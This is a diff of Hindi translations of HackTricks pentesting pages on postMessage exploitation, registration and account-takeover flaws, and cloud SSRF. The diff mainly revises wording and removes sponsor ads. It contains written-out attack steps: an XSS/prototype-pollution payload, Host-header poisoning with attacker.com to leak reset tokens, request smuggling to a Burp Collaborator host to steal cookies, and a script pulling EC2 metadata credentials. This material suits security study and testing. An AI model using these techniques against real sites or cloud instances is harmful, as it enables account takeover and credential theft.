-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होते हैं। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Send **PostMessage** @@ -84,7 +71,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html"; ## addEventListener शोषण **`addEventListener`** वह फ़ंक्शन है जिसका उपयोग JS उस फ़ंक्शन को घोषित करने के लिए करता है जो **`postMessages`** की **उम्मीद कर रहा है**।\ -इससे मिलता-जुलता कोड निम्नलिखित में से एक का उपयोग किया जाएगा: +इससे मिलती-जुलती कोड का उपयोग किया जाएगा: ```javascript window.addEventListener("message", (event) => { if (event.origin !== "http://example.org:8080") @@ -97,14 +84,14 @@ return; ### Enumeration -वर्तमान पृष्ठ में **इवेंट लिसनर्स** खोजने के लिए आप: +वर्तमान पृष्ठ में **इवेंट लिस्नर्स** खोजने के लिए आप कर सकते हैं: -* **खोजें** JS कोड में `window.addEventListener` और `$(window).on` (_JQuery संस्करण_) -* **निष्पादित करें** डेवलपर टूल्स कंसोल में: `getEventListeners(window)` +* **JS कोड में** `window.addEventListener` और `$(window).on` (_JQuery संस्करण_) के लिए **खोजें** +* डेवलपर टूल्स कंसोल में **निष्पादित करें**: `getEventListeners(window)` ![](<../../.gitbook/assets/image (618) (1).png>) -* डेवलपर टूल्स में _Elements --> Event Listeners_ पर जाएं +* ब्राउज़र के डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं** ![](<../../.gitbook/assets/image (396).png>) @@ -112,13 +99,13 @@ return; ### Origin check bypasses -* **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाती है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है। +* **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाता है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है। * **`indexOf()`** का उपयोग PostMessage घटनाओं में उत्पत्ति सत्यापन के लिए बायपास के प्रति संवेदनशील हो सकता है। इस भेद्यता को दर्शाने वाला एक उदाहरण है: ```javascript ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma") ``` -* `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास किया जा सकता है। उदाहरण के लिए: +* `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए: ```javascript "https://www.safedomain.com".search("www.s.fedomain.com") @@ -141,16 +128,16 @@ result = u(new Error("'\"\\")); result.message; // "'"\" ``` -इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट अपने पढ़ने योग्य `name` प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाने पर, इसे `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं। +इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट अपने पढ़ने के लिए केवल `name` प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, इसे `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं। * JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक ढील दी जा सके। ### e.origin == window.origin बायपास -जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनके सुरक्षा और कार्यक्षमता पर प्रभावों के साथ काम करते समय महत्वपूर्ण है। +जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभाव डालने के संदर्भ में विशेष रूप से महत्वपूर्ण है। सैंडबॉक्स विशेषता में **`allow-popups`** निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता की सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक **`allow-popups-to-escape-sandbox`** विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी `null` पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है। -इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति `null` पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्य ( `null == null`) के रूप में मूल्यांकित होता है, क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है। +इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति `null` पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्यापित होता है (`null == null`), क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है। अधिक जानकारी के लिए **पढ़ें**: @@ -158,7 +145,7 @@ result.message; // "'"\" [bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md) {% endcontent-ref %} -### Bypassing e.source +### e.source को बायपास करना यह जांचना संभव है कि क्या संदेश उसी विंडो से आया है जिसमें स्क्रिप्ट सुन रही है (विशेष रूप से **ब्राउज़र एक्सटेंशनों से सामग्री स्क्रिप्ट्स** के लिए यह जांचने के लिए कि क्या संदेश उसी पृष्ठ से भेजा गया था): ```javascript @@ -185,9 +172,9 @@ var w=window.open("") setTimeout(function(){w.postMessage('text here','*');}, 2000); ``` -### बच्चे को भेजे गए संदेश को मुख्य पृष्ठ को ब्लॉक करके चुराना +### मुख्य पृष्ठ को ब्लॉक करके बच्चे को भेजे गए संदेश को चुराना -नीचे दिए गए पृष्ठ में आप देख सकते हैं कि आप कैसे **संवेदनशील postmessage डेटा** को **बच्चे के iframe** को **ब्लॉक** करके चुरा सकते हैं, मुख्य पृष्ठ को डेटा भेजने से पहले और बच्चे में **XSS** का दुरुपयोग करके डेटा को **लीक** करने से पहले: +नीचे दिए गए पृष्ठ में आप देख सकते हैं कि आप कैसे **संवेदनशील postmessage डेटा** को **बच्चे के iframe** में चुराने के लिए **मुख्य** पृष्ठ को डेटा भेजने से पहले **ब्लॉक** कर सकते हैं और **बच्चे में XSS** का दुरुपयोग करके डेटा को **लीक** कर सकते हैं इससे पहले कि इसे प्राप्त किया जाए: {% content-ref url="blocking-main-page-to-steal-postmessage.md" %} [blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md) @@ -205,7 +192,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000); उन परिदृश्यों में जहां `postMessage` के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप **पृष्ठ** को **iframe** कर सकते हैं और **प्रोटोटाइप प्रदूषण/XSS** का **दुरुपयोग** कर सकते हैं, जो कि `postMessage` के माध्यम से हमले को भेजता है। -**postMessage** के माध्यम से **बहुत अच्छे से समझाए गए XSS** के कुछ उदाहरण [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) पर मिल सकते हैं। +कुछ **बहुत अच्छे तरीके से समझाए गए XSS `postMessage` के माध्यम से** [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) में पाए जा सकते हैं। एक हमले का उदाहरण जो **प्रोटोटाइप प्रदूषण और फिर XSS** का दुरुपयोग करता है `postMessage` के माध्यम से एक `iframe` में: ```html @@ -223,41 +210,30 @@ setTimeout(get_code, 2000); ``` -For **more information**: +For **अधिक जानकारी**: -* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/) -* Link to page about [**XSS**](../xss-cross-site-scripting/) -* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) +* [**प्रोटोटाइप प्रदूषण**](../deserialization/nodejs-proto-prototype-pollution/) के बारे में पृष्ठ का लिंक +* [**XSS**](../xss-cross-site-scripting/) के बारे में पृष्ठ का लिंक +* [**क्लाइंट साइड प्रोटोटाइप प्रदूषण से XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) के बारे में पृष्ठ का लिंक -## References +## संदर्भ * [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) -* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) +* अभ्यास के लिए: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/pentesting-web/registration-vulnerabilities.md b/pentesting-web/registration-vulnerabilities.md index 5401db4f7..138a5f350 100644 --- a/pentesting-web/registration-vulnerabilities.md +++ b/pentesting-web/registration-vulnerabilities.md @@ -8,32 +8,19 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) चेक करें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर **हमें फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होते हैं। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## पंजीकरण अधिग्रहण ### डुप्लिकेट पंजीकरण -* मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने का प्रयास करें +* एक मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने का प्रयास करें * ईमेल को बदलने की जांच करें: * अपरकेस * \+1@ @@ -45,7 +32,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ ### उपयोगकर्ता नाम गणना -जांचें कि क्या आप यह पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है। +जांचें कि क्या आप पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है। ### पासवर्ड नीति @@ -54,7 +41,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ ### SQL इंजेक्शन -[**इस पृष्ठ की जांच करें** ](sql-injection/#insert-statement)यह सीखने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या पंजीकरण फॉर्म में **SQL इंजेक्शन** के माध्यम से जानकारी निकालें। +[**इस पृष्ठ की जांच करें** ](sql-injection/#insert-statement)यह सीखने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या पंजीकरण फॉर्म के माध्यम से **SQL इंजेक्शन** के माध्यम से जानकारी निकालें। ### ओथ अधिग्रहण @@ -74,7 +61,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ ### अधिक जांचें -* जांचें कि क्या आप **डिस्पोजेबल ईमेल** का उपयोग कर सकते हैं +* जांचें कि क्या आप **निष्क्रिय ईमेल** का उपयोग कर सकते हैं * **लंबा** **पासवर्ड** (>200) **DoS** की ओर ले जाता है * **खाता निर्माण पर दर सीमाओं की जांच करें** * username@**burp\_collab**.net का उपयोग करें और **कॉलबैक** का विश्लेषण करें @@ -86,7 +73,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ 1. अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें 2. पासवर्ड रीसेट लिंक पर क्लिक करें 3. पासवर्ड न बदलें -4. किसी भी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर) +4. किसी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर) 5. Burp Suite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें 6. जांचें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है। @@ -94,7 +81,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ 1. Burp Suite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें 2. Burp Suite में निम्नलिखित हेडर जोड़ें या संपादित करें: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` -3. संशोधित हेडर के साथ अनुरोध को अग्रेषित करें\ +3. संशोधित हेडर के साथ अनुरोध को फॉरवर्ड करें\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. _host header_ के आधार पर पासवर्ड रीसेट URL की तलाश करें जैसे: `https://attacker.com/reset-password.php?token=TOKEN` @@ -149,7 +136,7 @@ email=victim@mail.com|hacker@mail.com 1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में खाली स्थान डालें। जैसे: `"admin "` 2. अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें। 3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें। -4. नए पासवर्ड के साथ पीड़ित खाते से कनेक्ट करें। +4. नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें। प्लेटफ़ॉर्म CTFd इस हमले के प्रति संवेदनशील था।\ देखें: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) @@ -166,7 +153,7 @@ email=victim@mail.com|hacker@mail.com `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. एक अनुरोध तैयार करें जो `POST / HTTP/1.1` को निम्नलिखित डेटा के साथ ओवरराइट करेगा:\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` जिसका लक्ष्य पीड़ितों को burpcollab पर ओपन रीडायरेक्ट करना और उनकी कुकीज़ चुराना है।\ -3\. अंतिम अनुरोध निम्नलिखित की तरह दिख सकता है +3\. अंतिम अनुरोध निम्नलिखित के समान हो सकता है ``` GET / HTTP/1.1 Transfer-Encoding: chunked @@ -202,18 +189,6 @@ JSON वेब टोकन का उपयोग एक उपयोगकर * [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **चुराने वाले मालवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होने वाले रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जाकर **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -222,9 +197,9 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** {% endhint %} diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 6cbde709f..6f50a4cce 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -15,29 +15,21 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## AWS -### AWS EC2 वातावरण में SSRF का दुरुपयोग +### Abusing SSRF in AWS EC2 environment -**मेटाडेटा** एंडपॉइंट को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: `http://169.254.169.254` ([यहां मेटाडेटा के बारे में जानकारी](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))। +**The metadata** endpoint को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: `http://169.254.169.254` ([metadata के बारे में जानकारी यहाँ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))। -मेटाडेटा एंडपॉइंट के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से एंडपॉइंट को **एक्सेस** करने की अनुमति देता है (इसलिए कोई भी **SSRF इसका दुरुपयोग कर सकता है**)। **संस्करण 2** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा को एक्सेस करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है**)। +**Metadata endpoint** के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से **endpoint** तक पहुँचने की अनुमति देता है (इसलिए कोई भी **SSRF इसका लाभ उठा सकता है**)। **संस्करण 2** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ metadata तक पहुँचने के लिए करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है**)। {% hint style="danger" %} -ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप लिमिट 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा को एक्सेस करना असंभव हो जाएगा। +ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **hop limit 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 metadata तक पहुँच पाना असंभव हो जाएगा। इसके अलावा, **IMDSv2** भी **`X-Forwarded-For` हेडर शामिल करने वाले टोकन को प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा**। यह गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है। {% endhint %} -आप [दस्तावेजों में मेटाडेटा एंडपॉइंट के बारे में जानकारी](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है: +आप [metadata endpoints के बारे में जानकारी दस्तावेजों में](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" @@ -116,11 +108,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4 ### AWS ECS (कंटेनर सेवा) क्रेडेंशियल्स में SSRF -**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने स्वयं के क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS आपके लिए इसका प्रबंधन करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**। +**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS यह आपके लिए प्रबंधित करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**। -यदि आप _**http://169.254.170.2/v2/credentials/\**_ पर पहुँचते हैं, तो आपको ECS मशीन के क्रेडेंशियल्स मिलेंगे। लेकिन पहले आपको **\** ढूंढना होगा। \ खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** को पढ़ना होगा।\ +यदि आप _**http://169.254.170.2/v2/credentials/\**_ पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। 